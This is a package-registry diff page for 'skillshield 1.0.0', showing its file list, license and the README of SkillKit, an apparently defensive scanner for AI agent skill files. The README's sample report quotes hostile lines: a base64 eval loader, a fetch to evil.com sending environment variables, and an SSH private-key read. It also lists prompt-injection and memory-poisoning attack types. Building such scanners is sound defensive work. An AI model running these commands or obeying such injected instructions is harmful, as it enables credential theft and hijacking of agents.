skillshield 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +400 -0
- package/dist/channels/discord.d.ts +18 -0
- package/dist/channels/discord.d.ts.map +1 -0
- package/dist/channels/discord.js +275 -0
- package/dist/channels/discord.js.map +1 -0
- package/dist/channels/index.d.ts +67 -0
- package/dist/channels/index.d.ts.map +1 -0
- package/dist/channels/index.js +127 -0
- package/dist/channels/index.js.map +1 -0
- package/dist/channels/slack.d.ts +20 -0
- package/dist/channels/slack.d.ts.map +1 -0
- package/dist/channels/slack.js +296 -0
- package/dist/channels/slack.js.map +1 -0
- package/dist/channels/telegram.d.ts +20 -0
- package/dist/channels/telegram.d.ts.map +1 -0
- package/dist/channels/telegram.js +223 -0
- package/dist/channels/telegram.js.map +1 -0
- package/dist/channels/whatsapp.d.ts +25 -0
- package/dist/channels/whatsapp.d.ts.map +1 -0
- package/dist/channels/whatsapp.js +187 -0
- package/dist/channels/whatsapp.js.map +1 -0
- package/dist/cli/commands/badge.d.ts +11 -0
- package/dist/cli/commands/badge.d.ts.map +1 -0
- package/dist/cli/commands/badge.js +98 -0
- package/dist/cli/commands/badge.js.map +1 -0
- package/dist/cli/commands/config.d.ts +3 -0
- package/dist/cli/commands/config.d.ts.map +1 -0
- package/dist/cli/commands/config.js +140 -0
- package/dist/cli/commands/config.js.map +1 -0
- package/dist/cli/commands/deploy.d.ts +3 -0
- package/dist/cli/commands/deploy.d.ts.map +1 -0
- package/dist/cli/commands/deploy.js +56 -0
- package/dist/cli/commands/deploy.js.map +1 -0
- package/dist/cli/commands/init.d.ts +3 -0
- package/dist/cli/commands/init.d.ts.map +1 -0
- package/dist/cli/commands/init.js +99 -0
- package/dist/cli/commands/init.js.map +1 -0
- package/dist/cli/commands/install.d.ts +3 -0
- package/dist/cli/commands/install.d.ts.map +1 -0
- package/dist/cli/commands/install.js +90 -0
- package/dist/cli/commands/install.js.map +1 -0
- package/dist/cli/commands/list.d.ts +3 -0
- package/dist/cli/commands/list.d.ts.map +1 -0
- package/dist/cli/commands/list.js +76 -0
- package/dist/cli/commands/list.js.map +1 -0
- package/dist/cli/commands/run.d.ts +3 -0
- package/dist/cli/commands/run.d.ts.map +1 -0
- package/dist/cli/commands/run.js +160 -0
- package/dist/cli/commands/run.js.map +1 -0
- package/dist/cli/commands/scan.d.ts +3 -0
- package/dist/cli/commands/scan.d.ts.map +1 -0
- package/dist/cli/commands/scan.js +133 -0
- package/dist/cli/commands/scan.js.map +1 -0
- package/dist/cli/commands/search.d.ts +3 -0
- package/dist/cli/commands/search.d.ts.map +1 -0
- package/dist/cli/commands/search.js +56 -0
- package/dist/cli/commands/search.js.map +1 -0
- package/dist/cli/index.d.ts +3 -0
- package/dist/cli/index.d.ts.map +1 -0
- package/dist/cli/index.js +70 -0
- package/dist/cli/index.js.map +1 -0
- package/dist/core/config.d.ts +167 -0
- package/dist/core/config.d.ts.map +1 -0
- package/dist/core/config.js +398 -0
- package/dist/core/config.js.map +1 -0
- package/dist/core/parser.d.ts +34 -0
- package/dist/core/parser.d.ts.map +1 -0
- package/dist/core/parser.js +462 -0
- package/dist/core/parser.js.map +1 -0
- package/dist/core/runtime.d.ts +68 -0
- package/dist/core/runtime.d.ts.map +1 -0
- package/dist/core/runtime.js +560 -0
- package/dist/core/runtime.js.map +1 -0
- package/dist/core/types.d.ts +525 -0
- package/dist/core/types.d.ts.map +1 -0
- package/dist/core/types.js +44 -0
- package/dist/core/types.js.map +1 -0
- package/dist/guard/index.d.ts +57 -0
- package/dist/guard/index.d.ts.map +1 -0
- package/dist/guard/index.js +238 -0
- package/dist/guard/index.js.map +1 -0
- package/dist/guard/patterns.d.ts +21 -0
- package/dist/guard/patterns.d.ts.map +1 -0
- package/dist/guard/patterns.js +797 -0
- package/dist/guard/patterns.js.map +1 -0
- package/dist/hub/index.d.ts +44 -0
- package/dist/hub/index.d.ts.map +1 -0
- package/dist/hub/index.js +144 -0
- package/dist/hub/index.js.map +1 -0
- package/dist/hub/registry.d.ts +52 -0
- package/dist/hub/registry.d.ts.map +1 -0
- package/dist/hub/registry.js +192 -0
- package/dist/hub/registry.js.map +1 -0
- package/dist/i18n/index.d.ts +19 -0
- package/dist/i18n/index.d.ts.map +1 -0
- package/dist/i18n/index.js +92 -0
- package/dist/i18n/index.js.map +1 -0
- package/dist/i18n/locales/en.d.ts +110 -0
- package/dist/i18n/locales/en.d.ts.map +1 -0
- package/dist/i18n/locales/en.js +123 -0
- package/dist/i18n/locales/en.js.map +1 -0
- package/dist/i18n/locales/es.d.ts +110 -0
- package/dist/i18n/locales/es.d.ts.map +1 -0
- package/dist/i18n/locales/es.js +123 -0
- package/dist/i18n/locales/es.js.map +1 -0
- package/dist/i18n/locales/pt.d.ts +110 -0
- package/dist/i18n/locales/pt.d.ts.map +1 -0
- package/dist/i18n/locales/pt.js +123 -0
- package/dist/i18n/locales/pt.js.map +1 -0
- package/dist/i18n/locales/zh.d.ts +110 -0
- package/dist/i18n/locales/zh.d.ts.map +1 -0
- package/dist/i18n/locales/zh.js +123 -0
- package/dist/i18n/locales/zh.js.map +1 -0
- package/dist/index.d.ts +168 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/index.js +275 -0
- package/dist/index.js.map +1 -0
- package/dist/router/index.d.ts +89 -0
- package/dist/router/index.d.ts.map +1 -0
- package/dist/router/index.js +292 -0
- package/dist/router/index.js.map +1 -0
- package/dist/router/providers.d.ts +48 -0
- package/dist/router/providers.d.ts.map +1 -0
- package/dist/router/providers.js +733 -0
- package/dist/router/providers.js.map +1 -0
- package/dist/runtime/executor.d.ts +96 -0
- package/dist/runtime/executor.d.ts.map +1 -0
- package/dist/runtime/executor.js +389 -0
- package/dist/runtime/executor.js.map +1 -0
- package/dist/sandbox/index.d.ts +52 -0
- package/dist/sandbox/index.d.ts.map +1 -0
- package/dist/sandbox/index.js +248 -0
- package/dist/sandbox/index.js.map +1 -0
- package/dist/security/skillguard.d.ts +25 -0
- package/dist/security/skillguard.d.ts.map +1 -0
- package/dist/security/skillguard.js +137 -0
- package/dist/security/skillguard.js.map +1 -0
- package/dist/tools/index.d.ts +55 -0
- package/dist/tools/index.d.ts.map +1 -0
- package/dist/tools/index.js +276 -0
- package/dist/tools/index.js.map +1 -0
- package/dist/tools/web-engine.d.ts +158 -0
- package/dist/tools/web-engine.d.ts.map +1 -0
- package/dist/tools/web-engine.js +802 -0
- package/dist/tools/web-engine.js.map +1 -0
- package/dist/tools/web-tools.d.ts +173 -0
- package/dist/tools/web-tools.d.ts.map +1 -0
- package/dist/tools/web-tools.js +251 -0
- package/dist/tools/web-tools.js.map +1 -0
- package/dist/utils/errors.d.ts +44 -0
- package/dist/utils/errors.d.ts.map +1 -0
- package/dist/utils/errors.js +130 -0
- package/dist/utils/errors.js.map +1 -0
- package/dist/utils/logger.d.ts +28 -0
- package/dist/utils/logger.d.ts.map +1 -0
- package/dist/utils/logger.js +121 -0
- package/dist/utils/logger.js.map +1 -0
- package/examples/basic-usage.ts +276 -0
- package/examples/code-reviewer.skill.md +83 -0
- package/examples/creative-writer.skill.md +80 -0
- package/examples/data-analyzer.skill.md +61 -0
- package/examples/hello-world.skill.md +36 -0
- package/examples/sample-skill.md +156 -0
- package/examples/summarizer.skill.md +62 -0
- package/examples/translator.skill.md +45 -0
- package/package.json +110 -0
package/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 ArtefactForge
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
package/README.md
ADDED
|
@@ -0,0 +1,400 @@
|
|
|
1
|
+
<div align="center">
|
|
2
|
+
|
|
3
|
+
```
|
|
4
|
+
███████╗██╗ ██╗██╗██╗ ██╗ ██╗██╗████████╗
|
|
5
|
+
██╔════╝██║ ██╔╝██║██║ ██║ ██╔╝██║╚══██╔══╝
|
|
6
|
+
███████╗█████╔╝ ██║██║ █████╔╝ ██║ ██║
|
|
7
|
+
╚════██║██╔═██╗ ██║██║ ██╔═██╗ ██║ ██║
|
|
8
|
+
███████║██║ ██╗██║███████╗██║ ██╗██║ ██║
|
|
9
|
+
╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝
|
|
10
|
+
```
|
|
11
|
+
|
|
12
|
+
**Snyk for AI Agent Skills — Scan, Test & Run Securely.**
|
|
13
|
+
|
|
14
|
+
The open-source security scanner and runtime for SKILL.md files. Detect malicious patterns, prompt injection, memory poisoning, credential theft, and supply chain attacks before they execute.
|
|
15
|
+
|
|
16
|
+
[](LICENSE)
|
|
17
|
+
[](https://www.npmjs.com/package/skillkit)
|
|
18
|
+
[](https://nodejs.org)
|
|
19
|
+
[](CONTRIBUTING.md)
|
|
20
|
+
|
|
21
|
+
[English](#english) | [Espanol](#espanol) | [中文](#中文) | [Portugues](#portugues)
|
|
22
|
+
|
|
23
|
+
</div>
|
|
24
|
+
|
|
25
|
+
---
|
|
26
|
+
|
|
27
|
+
<a name="english"></a>
|
|
28
|
+
|
|
29
|
+
## What is SkillKit?
|
|
30
|
+
|
|
31
|
+
SkillKit is an open-source security scanner and runtime for **SKILL.md** files — the standard format used by ClawHub's 13,700+ skills, Claude Code, OpenAI Codex, and VS Code Copilot. It scans for **72+ threat patterns** across **14 categories** including memory poisoning, prompt injection, and supply chain attacks — then executes safely in a sandboxed environment with **any AI model**.
|
|
32
|
+
|
|
33
|
+
```bash
|
|
34
|
+
# Install and scan in 10 seconds
|
|
35
|
+
npm install -g skillkit
|
|
36
|
+
skillkit scan suspicious-skill.md
|
|
37
|
+
skillkit run safe-skill.md --provider groq
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
### Why SkillKit?
|
|
41
|
+
|
|
42
|
+
- **VirusTotal** only detects 57.7% of threats in OpenClaw skills
|
|
43
|
+
- **36% of ClawHub skills** have security flaws (Snyk research)
|
|
44
|
+
- **12% are actual malware** (ClawHavoc campaign)
|
|
45
|
+
- **SkillKit detects what others miss**: memory poisoning, sleeper agents, API key leaks, supply chain attacks
|
|
46
|
+
|
|
47
|
+
### Security Comparison
|
|
48
|
+
|
|
49
|
+
| Feature | VirusTotal | Bitdefender | ClawSecure | **SkillKit** |
|
|
50
|
+
|---------|-----------|-------------|------------|------------|
|
|
51
|
+
| Open Source | No | No | No | **Yes (MIT)** |
|
|
52
|
+
| Free CLI | No | Yes (limited) | No | **Yes** |
|
|
53
|
+
| Detection Rate | 57.7% | ~60% | ~85% | **72+ patterns** |
|
|
54
|
+
| Prompt Injection | Basic | No | Yes | **Yes (6 patterns)** |
|
|
55
|
+
| Memory Poisoning | No | No | Partial | **Yes (7 patterns)** |
|
|
56
|
+
| Supply Chain | No | No | No | **Yes (6 patterns)** |
|
|
57
|
+
| API Key Detection | No | No | No | **Yes (10 formats)** |
|
|
58
|
+
| Sandbox Execution | No | No | No | **Yes (Process + Docker)** |
|
|
59
|
+
| CI/CD Integration | No | No | Paid | **Free GitHub Action** |
|
|
60
|
+
|
|
61
|
+
### Quick Start
|
|
62
|
+
|
|
63
|
+
```bash
|
|
64
|
+
# 1. Install globally
|
|
65
|
+
npm install -g skillkit
|
|
66
|
+
|
|
67
|
+
# 2. Scan a skill for threats BEFORE running it
|
|
68
|
+
skillkit scan my-skill.skill.md
|
|
69
|
+
# => Safety Score: 95/100 | APPROVED | 0 threats found
|
|
70
|
+
|
|
71
|
+
# 3. Run safely with any AI model
|
|
72
|
+
skillkit run my-skill.skill.md --provider groq
|
|
73
|
+
skillkit run my-skill.skill.md --provider openai --model gpt-4o
|
|
74
|
+
|
|
75
|
+
# 4. Scan a suspicious skill
|
|
76
|
+
skillkit scan evil-skill.skill.md
|
|
77
|
+
# => Safety Score: 12/100 | BLOCKED
|
|
78
|
+
# => CRITICAL: Memory poisoning detected (SOUL.md manipulation)
|
|
79
|
+
# => CRITICAL: API key exfiltration (sk- pattern found)
|
|
80
|
+
# => HIGH: Supply chain attack (curl | bash pattern)
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
### Threat Detection: 14 Categories, 72+ Patterns
|
|
84
|
+
|
|
85
|
+
| Category | Patterns | What It Catches |
|
|
86
|
+
|----------|---------|----------------|
|
|
87
|
+
| **Memory Poisoning** | 7 | SOUL.md/MEMORY.md manipulation, sleeper agents, cross-session persistence |
|
|
88
|
+
| **Prompt Injection** | 6 | Ignore instructions, fake [SYSTEM] tags, context reset, privilege escalation |
|
|
89
|
+
| **Sensitive Data** | 10 | OpenAI/Anthropic/AWS/Groq keys, JWT tokens, private keys, SSNs, credit cards |
|
|
90
|
+
| **Supply Chain** | 6 | npm/pip install in skills, pipe-to-shell, postinstall hooks, remote imports |
|
|
91
|
+
| **Code Injection** | 8 | eval(), exec(), spawn(), dynamic require, innerHTML, child_process |
|
|
92
|
+
| **Data Exfiltration** | 8 | fetch POST, XMLHttpRequest, curl, wget, sendBeacon, cloud storage copy |
|
|
93
|
+
| **Credential Theft** | 7 | process.env, .ssh/.aws files, .env files, hardcoded passwords, git credentials |
|
|
94
|
+
| **File System Abuse** | 7 | rm -rf, chmod, disk destruction, fs.writeFile to system paths |
|
|
95
|
+
| **Crypto Mining** | 4 | Mining pools, wallet addresses, coinhive, WebWorker mining |
|
|
96
|
+
| **Keylogger** | 4 | keydown/keyup listeners, clipboard access, keyboard simulation |
|
|
97
|
+
| **Obfuscation** | 4 | Base64 decode, String.fromCharCode, hex/unicode escapes |
|
|
98
|
+
| **Network Abuse** | 4 | Port scanning, DNS exfiltration, SSRF, SSH/Telnet |
|
|
99
|
+
| **Privilege Escalation** | 2 | sudo/su, SUID/SGID bits |
|
|
100
|
+
| **Malware** | 4 | Reverse shells, fork bombs, encoded PowerShell, exploitation frameworks |
|
|
101
|
+
|
|
102
|
+
### Security Badge
|
|
103
|
+
|
|
104
|
+
Show the world your skills are verified. Generate a shields.io badge after scanning:
|
|
105
|
+
|
|
106
|
+
```bash
|
|
107
|
+
# Generate badge for your skill
|
|
108
|
+
skillkit badge my-skill.skill.md
|
|
109
|
+
# => [](https://github.com/artefactforge/skillkit)
|
|
110
|
+
|
|
111
|
+
# Auto-append to your README
|
|
112
|
+
skillkit badge my-skill.skill.md --output README.md
|
|
113
|
+
|
|
114
|
+
# Choose badge style
|
|
115
|
+
skillkit badge my-skill.skill.md --style flat-square
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
Badge levels:
|
|
119
|
+
|
|
120
|
+
| Score | Badge | Status |
|
|
121
|
+
|-------|-------|--------|
|
|
122
|
+
| 90-100 (0 threats) |  | **SAFE** — Verified clean |
|
|
123
|
+
| 80-89 |  | **APPROVED** — Minor observations |
|
|
124
|
+
| 50-79 |  | **REVIEW REQUIRED** — Needs attention |
|
|
125
|
+
| 0-49 |  | **BLOCKED** — Do not execute |
|
|
126
|
+
|
|
127
|
+
### Architecture
|
|
128
|
+
|
|
129
|
+
```
|
|
130
|
+
skillkit/
|
|
131
|
+
├── src/
|
|
132
|
+
│ ├── guard/ # SkillGuard — 72+ threat patterns, 14 categories
|
|
133
|
+
│ ├── sandbox/ # Process + Docker sandbox with shell:false isolation
|
|
134
|
+
│ ├── core/ # SKILL.md parser (Zod validated), runtime engine
|
|
135
|
+
│ ├── router/ # Multi-model router — 11 providers, 39+ models
|
|
136
|
+
│ ├── cli/ # CLI: scan, badge, run, init, search, install, list, deploy
|
|
137
|
+
│ ├── hub/ # ClawHub client + local skill registry
|
|
138
|
+
│ ├── channels/ # WhatsApp, Telegram, Discord, Slack adapters
|
|
139
|
+
│ ├── tools/ # Tool system (search, extract, crawl)
|
|
140
|
+
│ ├── i18n/ # EN, ES, ZH, PT translations
|
|
141
|
+
│ └── utils/ # Logger, error handling
|
|
142
|
+
├── .github/workflows/ # GitHub Action for automated scanning
|
|
143
|
+
├── examples/ # 8 example skills
|
|
144
|
+
└── tests/ # 36+ tests
|
|
145
|
+
```
|
|
146
|
+
|
|
147
|
+
### Supported Models
|
|
148
|
+
|
|
149
|
+
| Provider | Models | Free Tier | API Key Required |
|
|
150
|
+
|----------|--------|-----------|-----------------|
|
|
151
|
+
| **Ollama** (local) | Llama 3, Qwen 2.5, DeepSeek R1, Mistral, Gemma | **Unlimited (local)** | No |
|
|
152
|
+
| **DeepSeek** | deepseek-chat, deepseek-r1 | **500K tokens/day** | Yes (free) |
|
|
153
|
+
| **Qwen** (Alibaba) | qwen-plus, qwen-turbo, qwen-max | **1M tokens/mo** | Yes (free) |
|
|
154
|
+
| **Groq** | Llama 3.3, Mixtral | **14.4K req/day** | Yes (free) |
|
|
155
|
+
| **Google** | Gemini 2.0 Flash, Gemini 2.5 Pro | **15 req/min** | Yes (free) |
|
|
156
|
+
| **OpenAI** | GPT-4o, GPT-4o-mini, GPT-4 | Paid only | Yes |
|
|
157
|
+
| **Anthropic** | Claude Opus 4, Claude Sonnet 4 | Paid only | Yes |
|
|
158
|
+
| **Kimi** (Moonshot) | Moonshot v1 128k/32k/8k | Yes (limited) | Yes |
|
|
159
|
+
| **Zhipu** (BigModel) | GLM-4, GLM-4 Flash, GLM-4 Plus | Yes (limited) | Yes |
|
|
160
|
+
| **Together AI** | Llama, Mixtral, Code models | $25 free credit | Yes |
|
|
161
|
+
| **Fireworks** | Fast inference models | $1 free credit | Yes |
|
|
162
|
+
|
|
163
|
+
### SkillGuard Security
|
|
164
|
+
|
|
165
|
+
SkillKit includes **SkillGuard**, a security scanner that detects malicious patterns in SKILL.md files before execution:
|
|
166
|
+
|
|
167
|
+
```bash
|
|
168
|
+
$ skillkit scan suspicious-skill.md
|
|
169
|
+
|
|
170
|
+
SkillGuard Security Report
|
|
171
|
+
─────────────────────────────────────
|
|
172
|
+
Safety Score: 23/100 BLOCKED
|
|
173
|
+
|
|
174
|
+
CRITICAL (2):
|
|
175
|
+
[C1] Code injection detected (line 42)
|
|
176
|
+
Evidence: eval(Buffer.from('...', 'base64').toString())
|
|
177
|
+
|
|
178
|
+
[C2] Data exfiltration attempt (line 67)
|
|
179
|
+
Evidence: fetch('https://evil.com/collect', { body: process.env })
|
|
180
|
+
|
|
181
|
+
HIGH (1):
|
|
182
|
+
[H1] Credential theft pattern (line 15)
|
|
183
|
+
Evidence: readFileSync(path.join(homedir(), '.ssh/id_rsa'))
|
|
184
|
+
|
|
185
|
+
Recommendation: DO NOT execute this skill.
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
72+ detection patterns across 14 categories — including 3 categories nobody else detects: **memory poisoning** (SOUL.md/MEMORY.md attacks), **sensitive data** (API key format detection for OpenAI, Anthropic, AWS, Groq, GitHub), and **supply chain attacks** (pipe-to-shell, postinstall hooks, remote imports).
|
|
189
|
+
|
|
190
|
+
### Creating Your Own Skill
|
|
191
|
+
|
|
192
|
+
Skills are simple Markdown files with YAML frontmatter:
|
|
193
|
+
|
|
194
|
+
```markdown
|
|
195
|
+
---
|
|
196
|
+
name: my-awesome-skill
|
|
197
|
+
description: Does something amazing
|
|
198
|
+
version: 1.0.0
|
|
199
|
+
author: YourName
|
|
200
|
+
tags: [productivity, automation]
|
|
201
|
+
model_requirements:
|
|
202
|
+
minSize: medium
|
|
203
|
+
capabilities: [streaming]
|
|
204
|
+
inputs:
|
|
205
|
+
- name: task
|
|
206
|
+
type: string
|
|
207
|
+
description: What to do
|
|
208
|
+
required: true
|
|
209
|
+
outputs:
|
|
210
|
+
- name: result
|
|
211
|
+
type: string
|
|
212
|
+
description: The output
|
|
213
|
+
---
|
|
214
|
+
|
|
215
|
+
# My Awesome Skill
|
|
216
|
+
|
|
217
|
+
You are a helpful assistant that [does something specific].
|
|
218
|
+
|
|
219
|
+
## Instructions
|
|
220
|
+
|
|
221
|
+
1. Take the user's input
|
|
222
|
+
2. Process it in a specific way
|
|
223
|
+
3. Return a structured result
|
|
224
|
+
|
|
225
|
+
## Examples
|
|
226
|
+
|
|
227
|
+
**Input:** "example input"
|
|
228
|
+
**Output:** "example output"
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
### Contributing
|
|
232
|
+
|
|
233
|
+
We welcome contributions in all languages! See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.
|
|
234
|
+
|
|
235
|
+
```bash
|
|
236
|
+
git clone https://github.com/artefactforge/skillkit.git
|
|
237
|
+
cd skillkit
|
|
238
|
+
npm install
|
|
239
|
+
npm run dev
|
|
240
|
+
```
|
|
241
|
+
|
|
242
|
+
---
|
|
243
|
+
|
|
244
|
+
<a name="espanol"></a>
|
|
245
|
+
|
|
246
|
+
## Que es SkillKit?
|
|
247
|
+
|
|
248
|
+
SkillKit es un escaner de seguridad open-source para archivos **SKILL.md** — el formato estandar de ClawHub, Claude Code, y OpenAI Codex. Detecta **72+ patrones maliciosos** en **14 categorias** incluyendo envenenamiento de memoria, inyeccion de prompts, robo de credenciales, y ataques de cadena de suministro — luego ejecuta de forma segura con **cualquier modelo de IA**.
|
|
249
|
+
|
|
250
|
+
```bash
|
|
251
|
+
# Instalar y ejecutar en 10 segundos
|
|
252
|
+
npx skillkit init
|
|
253
|
+
skillkit run --skill email-assistant --model deepseek-r1
|
|
254
|
+
```
|
|
255
|
+
|
|
256
|
+
### Por que SkillKit?
|
|
257
|
+
|
|
258
|
+
| Caracteristica | OpenClaw | SkillKit |
|
|
259
|
+
|----------------|----------|----------|
|
|
260
|
+
| Modelos | Solo Claude | **11 proveedores** (Claude, GPT, DeepSeek, Qwen, Gemini, Ollama, Groq, Kimi, Zhipu, Together, Fireworks) |
|
|
261
|
+
| Costo | $20/mes minimo | **$0** con modelos locales/gratis (DeepSeek, Ollama) |
|
|
262
|
+
| Seguridad | 820+ skills maliciosos encontrados | **SkillGuard** escanea cada skill antes de ejecutarlo |
|
|
263
|
+
| Idiomas | Solo ingles | **EN, ES, ZH, PT** desde el dia 1 |
|
|
264
|
+
| Canales | Solo CLI | **CLI + WhatsApp + Telegram + Discord + Slack** |
|
|
265
|
+
| Instalacion | Configuracion compleja | **Un solo comando**: `npx skillkit init` |
|
|
266
|
+
|
|
267
|
+
### Inicio Rapido
|
|
268
|
+
|
|
269
|
+
```bash
|
|
270
|
+
# 1. Instalar
|
|
271
|
+
npm install -g skillkit
|
|
272
|
+
|
|
273
|
+
# 2. Configuracion interactiva (idioma, proveedor, API key)
|
|
274
|
+
skillkit init
|
|
275
|
+
|
|
276
|
+
# 3. Ejecutar un skill con tu modelo preferido
|
|
277
|
+
skillkit run --skill email-assistant --model deepseek-chat --input "Seguimiento propuesta cliente"
|
|
278
|
+
|
|
279
|
+
# 4. Escanear seguridad de un skill
|
|
280
|
+
skillkit scan clawhub://solana-wallet-tracker
|
|
281
|
+
# => BLOQUEADO: keylogger detectado (puntuacion: 12/100)
|
|
282
|
+
|
|
283
|
+
# 5. Ejecutar con modelo local GRATIS
|
|
284
|
+
skillkit run --skill data-analyst --model ollama/qwen2.5
|
|
285
|
+
|
|
286
|
+
# 6. Desplegar como bot de WhatsApp
|
|
287
|
+
skillkit deploy --channel whatsapp --skill customer-support
|
|
288
|
+
```
|
|
289
|
+
|
|
290
|
+
### Modelos Soportados
|
|
291
|
+
|
|
292
|
+
| Proveedor | Modelos | Tier Gratis |
|
|
293
|
+
|-----------|---------|-------------|
|
|
294
|
+
| **Ollama** (local) | Llama 3, Qwen 2.5, DeepSeek R1 | **Ilimitado** |
|
|
295
|
+
| **DeepSeek** | deepseek-chat, deepseek-r1 | **500K tokens/dia** |
|
|
296
|
+
| **Qwen** (Alibaba) | qwen-plus, qwen-turbo | **1M tokens/mes** |
|
|
297
|
+
| **Groq** | Llama 3.3, Mixtral | **14.4K req/dia** |
|
|
298
|
+
| **Google** | Gemini 2.0 Flash | **15 req/min** |
|
|
299
|
+
|
|
300
|
+
### Contribuir
|
|
301
|
+
|
|
302
|
+
Aceptamos contribuciones en todos los idiomas. Consulta [CONTRIBUTING.md](CONTRIBUTING.md).
|
|
303
|
+
|
|
304
|
+
---
|
|
305
|
+
|
|
306
|
+
<a name="中文"></a>
|
|
307
|
+
|
|
308
|
+
## 什么是 SkillKit?
|
|
309
|
+
|
|
310
|
+
SkillKit 是一个开源运行时,可以执行 **SKILL.md** 文件——ClawHub 上 10,700+ 技能使用的标准格式——支持**任何 AI 模型**(Claude、GPT、DeepSeek、通义千问、Ollama、Gemini 等),支持**任何语言**,并内置**安全扫描**功能。
|
|
311
|
+
|
|
312
|
+
```bash
|
|
313
|
+
# 10秒内安装并运行
|
|
314
|
+
npx skillkit init
|
|
315
|
+
skillkit run --skill email-assistant --model deepseek-r1
|
|
316
|
+
```
|
|
317
|
+
|
|
318
|
+
### 为什么选择 SkillKit?
|
|
319
|
+
|
|
320
|
+
| 特性 | OpenClaw | SkillKit |
|
|
321
|
+
|------|----------|----------|
|
|
322
|
+
| 模型支持 | 仅 Claude | **11 供应商**(Claude、GPT、DeepSeek、通义千问、Gemini、Ollama、Groq、Kimi、智谱 等) |
|
|
323
|
+
| 成本 | 最低 $20/月 | 使用本地/免费模型 **$0**(DeepSeek、Ollama) |
|
|
324
|
+
| 安全性 | 发现 820+ 恶意技能 | **SkillGuard** 在执行前扫描每个技能 |
|
|
325
|
+
| 语言 | 仅英文 | 第一天起支持 **EN、ES、ZH、PT** |
|
|
326
|
+
| 渠道 | 仅 CLI | **CLI + WhatsApp + Telegram + Discord + Slack** |
|
|
327
|
+
| 安装 | 复杂配置 | **一条命令**:`npx skillkit init` |
|
|
328
|
+
|
|
329
|
+
### 快速开始
|
|
330
|
+
|
|
331
|
+
```bash
|
|
332
|
+
# 1. 安装
|
|
333
|
+
npm install -g skillkit
|
|
334
|
+
|
|
335
|
+
# 2. 交互式设置(选择语言、供应商、API密钥)
|
|
336
|
+
skillkit init
|
|
337
|
+
|
|
338
|
+
# 3. 使用国产模型运行技能(免费)
|
|
339
|
+
skillkit run --skill data-analyst --model deepseek-chat --input "分析我的销售数据"
|
|
340
|
+
|
|
341
|
+
# 4. 使用本地模型(零成本)
|
|
342
|
+
skillkit run --skill email-assistant --model ollama/qwen2.5
|
|
343
|
+
|
|
344
|
+
# 5. 安全扫描
|
|
345
|
+
skillkit scan clawhub://solana-wallet-tracker
|
|
346
|
+
# => 已拦截:检测到键盘记录器(安全评分:12/100)
|
|
347
|
+
```
|
|
348
|
+
|
|
349
|
+
### 支持的国产模型
|
|
350
|
+
|
|
351
|
+
| 供应商 | 模型 | 免费额度 |
|
|
352
|
+
|--------|------|---------|
|
|
353
|
+
| **DeepSeek** | deepseek-chat, deepseek-r1 | 每日 50万 tokens |
|
|
354
|
+
| **通义千问** (阿里云) | qwen-plus, qwen-turbo, qwen-max | 每月 100万 tokens |
|
|
355
|
+
| **Ollama** (本地) | Qwen 2.5, DeepSeek R1, Llama 3 | 无限制(本地运行) |
|
|
356
|
+
|
|
357
|
+
### 贡献
|
|
358
|
+
|
|
359
|
+
我们欢迎所有语言的贡献!请参阅 [CONTRIBUTING.md](CONTRIBUTING.md)。
|
|
360
|
+
|
|
361
|
+
---
|
|
362
|
+
|
|
363
|
+
<a name="portugues"></a>
|
|
364
|
+
|
|
365
|
+
## O que e SkillKit?
|
|
366
|
+
|
|
367
|
+
SkillKit e um runtime open-source que executa arquivos **SKILL.md** — o formato padrao usado pelas 10.700+ skills do ClawHub — com **qualquer modelo de IA**, em **qualquer idioma**, com **varredura de seguranca integrada**.
|
|
368
|
+
|
|
369
|
+
```bash
|
|
370
|
+
# Instalar e executar em 10 segundos
|
|
371
|
+
npx skillkit init
|
|
372
|
+
skillkit run --skill email-assistant --model deepseek-r1
|
|
373
|
+
```
|
|
374
|
+
|
|
375
|
+
### Inicio Rapido
|
|
376
|
+
|
|
377
|
+
```bash
|
|
378
|
+
npm install -g skillkit
|
|
379
|
+
skillkit init
|
|
380
|
+
skillkit run --skill email-assistant --model deepseek-chat --input "Acompanhamento da proposta do cliente"
|
|
381
|
+
skillkit scan clawhub://solana-wallet-tracker
|
|
382
|
+
```
|
|
383
|
+
|
|
384
|
+
### Contribuir
|
|
385
|
+
|
|
386
|
+
Aceitamos contribuicoes em todos os idiomas! Consulte [CONTRIBUTING.md](CONTRIBUTING.md).
|
|
387
|
+
|
|
388
|
+
---
|
|
389
|
+
|
|
390
|
+
<div align="center">
|
|
391
|
+
|
|
392
|
+
## License
|
|
393
|
+
|
|
394
|
+
